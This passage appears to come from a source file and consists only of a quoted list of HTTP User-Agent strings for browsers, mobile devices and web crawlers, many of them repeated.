'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
'Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A',
'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
